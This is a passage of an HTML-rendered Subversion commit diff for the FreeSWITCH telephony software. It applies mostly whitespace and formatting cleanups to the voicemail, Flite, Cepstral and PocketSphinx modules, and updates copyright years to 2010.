</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Can't find user [%s@%s]\n", id, domain_name);
</span><span class="cx">                         ok = 0;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_event_destroy(&locate_params);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!ok) {
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="lines">@@ -2981,7 +2967,7 @@
</span><span class="cx">                 greet_path = cbt.greeting_path;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-greet:
</del><ins>+ greet:
</ins><span class="cx">         if (!skip_greeting) {
</span><span class="cx">                 memset(buf, 0, sizeof(buf));
</span><span class="cx">                 args.input_callback = cancel_on_dtmf;
</span><span class="lines">@@ -3009,38 +2995,38 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>- if (*buf != '\0') {
-greet_key_press:
- if (switch_stristr(buf, profile->login_keys)) {
- voicemail_check_main(session, profile, domain_name, id, 0);
- } else if (!strcasecmp(buf, profile->operator_key) && !zstr(profile->operator_key)) {
- int argc;
- char *argv[4];
- char *mycmd;
</del><ins>+                if (*buf != '\0') {
+                 greet_key_press:
+                        if (switch_stristr(buf, profile->login_keys)) {
+                                voicemail_check_main(session, profile, domain_name, id, 0);
+                        } else if (!strcasecmp(buf, profile->operator_key) && !zstr(profile->operator_key)) {
+                                int argc;
+                                char *argv[4];
+                                char *mycmd;
</ins><span class="cx">
</span><del>- if (!zstr(profile->operator_ext) && (mycmd = switch_core_session_strdup(session, profile->operator_ext))) {
- argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
- if (argc >= 1 && argc <= 4) {
- switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
- /* the application still runs after we leave it so we need to make sure that we don't do anything evil */
- send_mail = 0;
- goto end;
- }
- }
- } else if (!strcasecmp(buf, profile->vmain_key) && !zstr(profile->vmain_key)) {
- int argc;
- char *argv[4];
- char *mycmd;
</del><ins>+                                if (!zstr(profile->operator_ext) && (mycmd = switch_core_session_strdup(session, profile->operator_ext))) {
+                                        argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
+                                        if (argc >= 1 && argc <= 4) {
+                                                switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
+                                                /* the application still runs after we leave it so we need to make sure that we don't do anything evil */
+                                                send_mail = 0;
+                                                goto end;
+                                        }
+                                }
+                        } else if (!strcasecmp(buf, profile->vmain_key) && !zstr(profile->vmain_key)) {
+                                int argc;
+                                char *argv[4];
+                                char *mycmd;
</ins><span class="cx">
</span><del>- if (!zstr(profile->vmain_ext) && (mycmd = switch_core_session_strdup(session, profile->vmain_ext))) {
- argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
- if (argc >= 1 && argc <= 4) {
- switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
- /* the application still runs after we leave it so we need to make sure that we don't do anything evil */
- send_mail = 0;
- goto end;
- }
- }
</del><ins>+                                if (!zstr(profile->vmain_ext) && (mycmd = switch_core_session_strdup(session, profile->vmain_ext))) {
+                                        argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
+                                        if (argc >= 1 && argc <= 4) {
+                                                switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
+                                                /* the application still runs after we leave it so we need to make sure that we don't do anything evil */
+                                                send_mail = 0;
+                                                goto end;
+                                        }
+                                }
</ins><span class="cx">                         } else if (*profile->skip_greet_key && !strcasecmp(buf, profile->skip_greet_key)) {
</span><span class="cx">                                 skip_instructions = SWITCH_TRUE;
</span><span class="cx">                         } else {
</span><span class="lines">@@ -3056,14 +3042,12 @@
</span><span class="cx">         if (disk_quota) {
</span><span class="cx">                 callback_t callback = { 0 };
</span><span class="cx">                 char sqlstmt[256];
</span><del>-                char disk_usage[256] = "";
</del><ins>+                char disk_usage[256] = "";
</ins><span class="cx">
</span><span class="cx">                 callback.buf = disk_usage;
</span><span class="cx">                 callback.len = sizeof(disk_usage);
</span><span class="cx">
</span><del>-                switch_snprintf(sqlstmt, sizeof(sqlstmt),
-                                                "select sum(message_len) from voicemail_msgs where username='%s' and domain='%s'",
-                                                id, domain_name);
</del><ins>+                switch_snprintf(sqlstmt, sizeof(sqlstmt), "select sum(message_len) from voicemail_msgs where username='%s' and domain='%s'", id, domain_name);
</ins><span class="cx">                 vm_execute_sql_callback(profile, profile->mutex, sqlstmt, sql2str_callback, &callback);
</span><span class="cx">
</span><span class="cx">                 if (atoi(disk_usage) >= disk_quota) {
</span><span class="lines">@@ -3110,26 +3094,26 @@
</span><span class="cx">
</span><span class="cx">                 switch_snprintf(key_buf, sizeof(key_buf), "%s:%s", profile->urgent_key, profile->terminator_key);
</span><span class="cx">
</span><del>-                (void)vm_macro_get(session, VM_RECORD_URGENT_CHECK_MACRO, key_buf, input, sizeof(input), 1, "", &term, profile->digit_timeout);
</del><ins>+                (void) vm_macro_get(session, VM_RECORD_URGENT_CHECK_MACRO, key_buf, input, sizeof(input), 1, "", &term, profile->digit_timeout);
</ins><span class="cx">                 if (*profile->urgent_key == *input) {
</span><span class="cx">                         read_flags = URGENT_FLAG_STRING;
</span><span class="cx">                         priority = 1;
</span><del>-                        (void)switch_ivr_phrase_macro(session, VM_ACK_MACRO, "marked-urgent", NULL, NULL);
</del><ins>+                        (void) switch_ivr_phrase_macro(session, VM_ACK_MACRO, "marked-urgent", NULL, NULL);
</ins><span class="cx">                 } else {
</span><del>-                        (void)switch_ivr_phrase_macro(session, VM_ACK_MACRO, "saved", NULL, NULL);
</del><ins>+                        (void) switch_ivr_phrase_macro(session, VM_ACK_MACRO, "saved", NULL, NULL);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (x_user) {
</span><span class="cx">                 switch_channel_get_variables(channel, &vars);
</span><del>-                status = deliver_vm(profile, x_user, domain_name, file_path, message_len, read_flags, vars,
</del><ins>+                status = deliver_vm(profile, x_user, domain_name, file_path, message_len, read_flags, vars,
</ins><span class="cx">                                                         switch_core_session_get_pool(session), caller_id_name, caller_id_number, NULL, SWITCH_FALSE);
</span><span class="cx">                 switch_event_destroy(&vars);
</span><span class="cx">                 if (status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         if ((vm_cc = switch_channel_get_variable(channel, "vm_cc"))) {
</span><del>-                                char *cmd = switch_core_session_sprintf(session, "%s %s %s %s %s@%s %s",
</del><ins>+                                char *cmd = switch_core_session_sprintf(session, "%s %s %s %s %s@%s %s",
</ins><span class="cx">                                                                                                                 vm_cc, file_path, caller_id_number, caller_id_name, id, domain_name, read_flags);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (voicemail_inject(cmd) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Sent Carbon Copy to %s\n", vm_cc);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -3168,7 +3152,7 @@
</span><span class="cx">         int argc = 0;
</span><span class="cx">         char *argv[6] = { 0 };
</span><span class="cx">         char *mydata = NULL;
</span><del>-        vm_profile_t * profile = NULL;
</del><ins>+        vm_profile_t *profile = NULL;
</ins><span class="cx">         const char *profile_name = NULL;
</span><span class="cx">         const char *domain_name = NULL;
</span><span class="cx">         const char *id = NULL;
</span><span class="lines">@@ -3238,7 +3222,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         profile_rwunlock(profile);
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> #define BOXCOUNT_SYNTAX "[profile/]<user>@<domain>[|[new|saved|new-urgent|saved-urgent|all]]"
</span><span class="lines">@@ -3252,20 +3236,20 @@
</span><span class="cx">         int total_saved_urgent_messages = 0;
</span><span class="cx">         vm_profile_t *profile;
</span><span class="cx">         char *id, *domain, *p, *profilename = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd)) {
</span><del>-                stream->write_function(stream, "%d", 0);        
</del><ins>+                stream->write_function(stream, "%d", 0);
</ins><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         id = dup = strdup(cmd);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((p = strchr(dup, '/'))) {
</span><span class="cx">                 *p++ = '\0';
</span><span class="cx">                 id = p;
</span><span class="cx">                 profilename = dup;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strncasecmp(id, "sip:", 4)) {
</span><span class="cx">                 id += 4;
</span><span class="cx">         }
</span><span class="lines">@@ -3319,10 +3303,11 @@
</span><span class="cx">                 stream->write_function(stream, "%d", total_new_messages);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">         switch_safe_free(dup);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><ins>+
</ins><span class="cx"> #define PREFS_SYNTAX "[profile/]<user>@<domain>[|[name_path|greeting_path|password]]"
</span><span class="cx"> SWITCH_STANDARD_API(prefs_api_function)
</span><span class="cx"> {
</span><span class="lines">@@ -3331,7 +3316,7 @@
</span><span class="cx">         vm_profile_t *profile = NULL;
</span><span class="cx">         char *id, *domain, *p, *profilename = NULL;
</span><span class="cx">         char sql[256];
</span><del>-        prefs_callback_t cbt = {{0}};
</del><ins>+        prefs_callback_t cbt = { {0} };
</ins><span class="cx">
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 stream->write_function(stream, "%d", 0);
</span><span class="lines">@@ -3387,9 +3372,9 @@
</span><span class="cx">                 stream->write_function(stream, "%s", cbt.password);
</span><span class="cx">         } else {
</span><span class="cx">                 stream->write_function(stream, "%s:%s:%s", cbt.greeting_path, cbt.name_path, cbt.password);
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">         profile_rwunlock(profile);
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">         switch_safe_free(dup);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -3629,15 +3614,15 @@
</span><span class="cx">         char title_aft[128 * 3] = "";
</span><span class="cx">
</span><span class="cx">         if (argc > 0) {
</span><del>-                l_created = switch_time_make (atol(argv[0]), 0);
</del><ins>+                l_created = switch_time_make(atol(argv[0]), 0);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (argc > 1) {
</span><del>-                l_read = switch_time_make (atol(argv[1]), 0);
</del><ins>+                l_read = switch_time_make(atol(argv[1]), 0);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (argc > 9) {
</span><del>-                l_duration = switch_time_make (atol(argv[9]), 0);
</del><ins>+                l_duration = switch_time_make(atol(argv[9]), 0);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if ((fname = strrchr(argv[8], '/'))) {
</span><span class="lines">@@ -3719,15 +3704,15 @@
</span><span class="cx">         char heard[80];
</span><span class="cx">
</span><span class="cx">         if (argc > 0) {
</span><del>-                l_created = switch_time_make (atol(argv[0]), 0);
</del><ins>+                l_created = switch_time_make(atol(argv[0]), 0);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (argc > 1) {
</span><del>-                l_read = switch_time_make (atol(argv[1]), 0);
</del><ins>+                l_read = switch_time_make(atol(argv[1]), 0);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (argc > 9) {
</span><del>-                l_duration = switch_time_make (atol(argv[9]), 0);
</del><ins>+                l_duration = switch_time_make(atol(argv[9]), 0);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_core_measure_time(l_duration, &duration);
</span><span class="lines">@@ -3868,7 +3853,8 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static void do_web(vm_profile_t *profile, const char *user_in, const char *domain, const char *host, const char *port, const char *uri, switch_stream_handle_t *stream)
</del><ins>+static void do_web(vm_profile_t *profile, const char *user_in, const char *domain, const char *host, const char *port, const char *uri,
+                                 switch_stream_handle_t *stream)
</ins><span class="cx"> {
</span><span class="cx">         char buf[80] = "";
</span><span class="cx">         struct holder holder;
</span><span class="lines">@@ -3996,7 +3982,7 @@
</span><span class="cx">                         }
</span><span class="cx">                         stream->write_function(stream, "+OK reload complete\n");
</span><span class="cx">                         goto done;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else if (!strcasecmp(argv[0], "status")) {
</span><span class="cx">                         stream->write_function(stream, "============================\n");
</span><span class="cx">                         switch_mutex_lock(globals.mutex);
</span><span class="lines">@@ -4134,15 +4120,15 @@
</span><span class="cx">         switch_event_unbind_callback(message_query_handler);
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><del>-        while((hi = switch_hash_first(NULL, globals.profile_hash))) {
</del><ins>+        while ((hi = switch_hash_first(NULL, globals.profile_hash))) {
</ins><span class="cx">                 switch_hash_this(hi, &key, &keylen, &val);
</span><span class="cx">                 profile = (vm_profile_t *) val;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_hash_delete(globals.profile_hash, profile->name);
</span><span class="cx">
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Waiting for write lock (Profile %s)\n", profile->name);        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Waiting for write lock (Profile %s)\n", profile->name);
</ins><span class="cx">                 switch_thread_rwlock_wrlock(profile->rwlock);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Destroying Profile %s\n", profile->name);
</span><span class="cx">
</span><span class="cx">                 switch_core_destroy_memory_pool(&profile->pool);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodasr_ttsmod_cepstralmod_cepstralc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/asr_tts/mod_cepstral/mod_cepstral.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/asr_tts/mod_cepstral/mod_cepstral.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_cepstral/mod_cepstral.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodasr_ttsmod_flitemod_flitec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/asr_tts/mod_flite/mod_flite.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/asr_tts/mod_flite/mod_flite.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_flite/mod_flite.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -71,7 +71,7 @@
</span><span class="cx">         flite_t *flite = switch_core_alloc(sh->memory_pool, sizeof(*flite));
</span><span class="cx">
</span><span class="cx">         sh->native_rate = 16000;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(voice_name, "awb")) {
</span><span class="cx">                 flite->v = globals.awb;
</span><span class="cx">         } else if (!strcasecmp(voice_name, "kal")) {
</span><span class="lines">@@ -108,9 +108,9 @@
</span><span class="cx"> static switch_status_t flite_speech_feed_tts(switch_speech_handle_t *sh, char *text, switch_speech_flag_t *flags)
</span><span class="cx"> {
</span><span class="cx">         flite_t *flite = (flite_t *) sh->private_info;
</span><del>-        
</del><ins>+
</ins><span class="cx">         flite->w = flite_text_to_wave(text, flite->v);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -128,10 +128,10 @@
</span><span class="cx"> {
</span><span class="cx">         size_t bytes_read;
</span><span class="cx">         flite_t *flite = (flite_t *) sh->private_info;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!flite->audio_buffer) {
</span><span class="cx">                 int32_t len;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (flite->w) {
</span><span class="cx">                         len = flite->w->num_samples * 2;
</span><span class="cx">                 } else {
</span><span class="lines">@@ -146,28 +146,28 @@
</span><span class="cx">                 switch_buffer_write(flite->audio_buffer, flite->w->samples, flite->w->num_samples * 2);
</span><span class="cx">                 free_wave(flite->w);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((bytes_read = switch_buffer_read(flite->audio_buffer, data, *datalen))) {
</span><span class="cx">                 *datalen = bytes_read;
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void flite_text_param_tts(switch_speech_handle_t *sh, char *param, const char *val)
</span><span class="cx"> {
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void flite_numeric_param_tts(switch_speech_handle_t *sh, char *param, int val)
</span><span class="cx"> {
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void flite_float_param_tts(switch_speech_handle_t *sh, char *param, double val)
</span><span class="cx"> {
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_flite_load)
</span><span class="lines">@@ -179,7 +179,7 @@
</span><span class="cx">         globals.kal = register_cmu_us_kal();
</span><span class="cx">         globals.rms = register_cmu_us_rms();
</span><span class="cx">         globals.slt = register_cmu_us_slt();
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">         speech_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_SPEECH_INTERFACE);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodasr_ttsmod_pocketsphinxmod_pocketsphinxc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -87,23 +87,23 @@
</span><span class="cx">         if (!(ps = (pocketsphinx_t *) switch_core_alloc(ah->memory_pool, sizeof(*ps)))) {
</span><span class="cx">                 return SWITCH_STATUS_MEMERR;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_init(&ps->flag_mutex, SWITCH_MUTEX_NESTED, ah->memory_pool);
</span><span class="cx">         ah->private_info = ps;
</span><span class="cx">
</span><del>-        if (rate == 8000) {
</del><ins>+        if (rate == 8000) {
</ins><span class="cx">                 ah->rate = 8000;
</span><span class="cx">         } else if (rate == 16000) {
</span><span class="cx">                 ah->rate = 16000;
</span><del>-        } else {
</del><ins>+        } else {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid rate %d. Only 8000 and 16000 are supported.\n", rate);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         codec = "L16";
</span><span class="cx">
</span><del>-        ah->codec = switch_core_strdup(ah->memory_pool, codec);
</del><ins>+        ah->codec = switch_core_strdup(ah->memory_pool, codec);
</ins><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         ps->thresh = globals.thresh;
</span><span class="cx">         ps->silence_hits = globals.silence_hits;
</span><span class="cx">         ps->listen_hits = globals.listen_hits;
</span><span class="lines">@@ -139,34 +139,28 @@
</span><span class="cx">         dic = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.grammar_dir, SWITCH_PATH_SEPARATOR, globals.dictionary);
</span><span class="cx">
</span><span class="cx">         if (switch_file_exists(dic, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open dictionary %s.\n", dic);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open dictionary %s.\n", dic);
</ins><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (switch_file_exists(model, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open speech model %s.\n", model);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open speech model %s.\n", model);
</ins><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (switch_file_exists(jsgf, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open grammar file %s.\n", jsgf);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open grammar file %s.\n", jsgf);
</ins><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        rate = switch_mprintf("%d", ah->rate);
</del><ins>+        rate = switch_mprintf("%d", ah->rate);
</ins><span class="cx">
</span><span class="cx">         switch_assert(jsgf && dic && model);
</span><del>-        
</del><ins>+
</ins><span class="cx">         ps->config = cmd_ln_init(ps->config, ps_args(), FALSE,
</span><span class="cx">                                                          "-samprate", rate,
</span><del>-                                                         "-hmm", model,
-                                                         "-jsgf", jsgf,
-                                                         "-lw", globals.language_weight,
-                                                         "-dict", dic,
-                                                         "-frate", "50",
-                                                         "-silprob", "0.005",
-                                                         NULL);
-        
</del><ins>+                                                         "-hmm", model, "-jsgf", jsgf, "-lw", globals.language_weight, "-dict", dic, "-frate", "50", "-silprob", "0.005", NULL);
+
</ins><span class="cx">         if (ps->config == NULL) {
</span><span class="cx">                 status = SWITCH_STATUS_GENERR;
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -185,19 +179,19 @@
</span><span class="cx">         switch_mutex_unlock(ps->flag_mutex);
</span><span class="cx">
</span><span class="cx">         ps_start_utt(ps->ps, NULL);
</span><del>-        switch_set_flag(ps, PSFLAG_READY);        
</del><ins>+        switch_set_flag(ps, PSFLAG_READY);
</ins><span class="cx">         switch_safe_free(ps->grammar);
</span><span class="cx">         ps->grammar = strdup(grammar);
</span><span class="cx">
</span><span class="cx">         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><del>- end:
-        
</del><ins>+ end:
+
</ins><span class="cx">         switch_safe_free(rate);
</span><span class="cx">         switch_safe_free(jsgf);
</span><span class="cx">         switch_safe_free(dic);
</span><span class="cx">         switch_safe_free(model);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -224,7 +218,7 @@
</span><span class="cx">         switch_mutex_unlock(ps->flag_mutex);
</span><span class="cx">         switch_clear_flag(ps, PSFLAG_HAS_TEXT);
</span><span class="cx">         switch_clear_flag(ps, PSFLAG_READY);
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Port Closed.\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Port Closed.\n");
</ins><span class="cx">         switch_set_flag(ah, SWITCH_ASR_FLAG_CLOSED);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -233,7 +227,7 @@
</span><span class="cx"> {
</span><span class="cx">         uint32_t score, count = 0, j = 0;
</span><span class="cx">         double energy = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (ps->countdown) {
</span><span class="cx">                 if (!--ps->countdown) {
</span><span class="cx">                         ps->silence_hits = ps->org_silence_hits;
</span><span class="lines">@@ -242,12 +236,12 @@
</span><span class="cx">                 }
</span><span class="cx">                 return SWITCH_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         for (count = 0; count < samples; count++) {
</span><span class="cx">                 energy += abs(data[j]);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         score = (uint32_t) (energy / samples);
</span><span class="cx">
</span><span class="cx">         if (score >= ps->thresh) {
</span><span class="lines">@@ -274,20 +268,21 @@
</span><span class="cx">         pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
</span><span class="cx">         int rv = 0;
</span><span class="cx">
</span><del>-        if (switch_test_flag(ah, SWITCH_ASR_FLAG_CLOSED)) return SWITCH_STATUS_BREAK;
-        
</del><ins>+        if (switch_test_flag(ah, SWITCH_ASR_FLAG_CLOSED))
+                return SWITCH_STATUS_BREAK;
+
</ins><span class="cx">         if (!switch_test_flag(ps, PSFLAG_HAS_TEXT) && switch_test_flag(ps, PSFLAG_READY)) {
</span><del>-                if (stop_detect(ps, (int16_t *)data, len / 2)) {
</del><ins>+                if (stop_detect(ps, (int16_t *) data, len / 2)) {
</ins><span class="cx">                         char const *hyp;
</span><span class="cx">
</span><del>-                        switch_mutex_lock(ps->flag_mutex);
</del><ins>+                        switch_mutex_lock(ps->flag_mutex);
</ins><span class="cx">                         if ((hyp = ps_get_hyp(ps->ps, &ps->score, &ps->uttid))) {
</span><span class="cx">                                 if (!zstr(hyp)) {
</span><span class="cx">                                         ps_end_utt(ps->ps);
</span><span class="cx">                                         switch_clear_flag(ps, PSFLAG_READY);
</span><span class="cx">                                         if ((hyp = ps_get_hyp(ps->ps, &ps->score, &ps->uttid))) {
</span><span class="cx">                                                 if (zstr(hyp)) {
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Lost the text, never mind....\n");
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Lost the text, never mind....\n");
</ins><span class="cx">                                                         ps_start_utt(ps->ps, NULL);
</span><span class="cx">                                                         switch_set_flag(ps, PSFLAG_READY);
</span><span class="cx">                                                 } else {
</span><span class="lines">@@ -303,7 +298,7 @@
</span><span class="cx">                 /* only feed ps_process_raw when we are listening */
</span><span class="cx">                 if (ps->listening) {
</span><span class="cx">                         switch_mutex_lock(ps->flag_mutex);
</span><del>-                        rv = ps_process_raw(ps->ps, (int16 *)data, len / 2 , FALSE, FALSE);
</del><ins>+                        rv = ps_process_raw(ps->ps, (int16 *) data, len / 2, FALSE, FALSE);
</ins><span class="cx">                         switch_mutex_unlock(ps->flag_mutex);
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -321,13 +316,13 @@
</span><span class="cx">         pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">
</span><del>-        switch_mutex_lock(ps->flag_mutex);                
</del><ins>+        switch_mutex_lock(ps->flag_mutex);
</ins><span class="cx">         if (switch_test_flag(ps, PSFLAG_READY)) {
</span><span class="cx">                 ps_end_utt(ps->ps);
</span><span class="cx">                 switch_clear_flag(ps, PSFLAG_READY);
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        switch_mutex_unlock(ps->flag_mutex);                
</del><ins>+        switch_mutex_unlock(ps->flag_mutex);
</ins><span class="cx">
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -337,19 +332,19 @@
</span><span class="cx"> {
</span><span class="cx">         pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><del>-        
-        switch_mutex_lock(ps->flag_mutex);                
</del><ins>+
+        switch_mutex_lock(ps->flag_mutex);
</ins><span class="cx">         switch_clear_flag(ps, PSFLAG_HAS_TEXT);
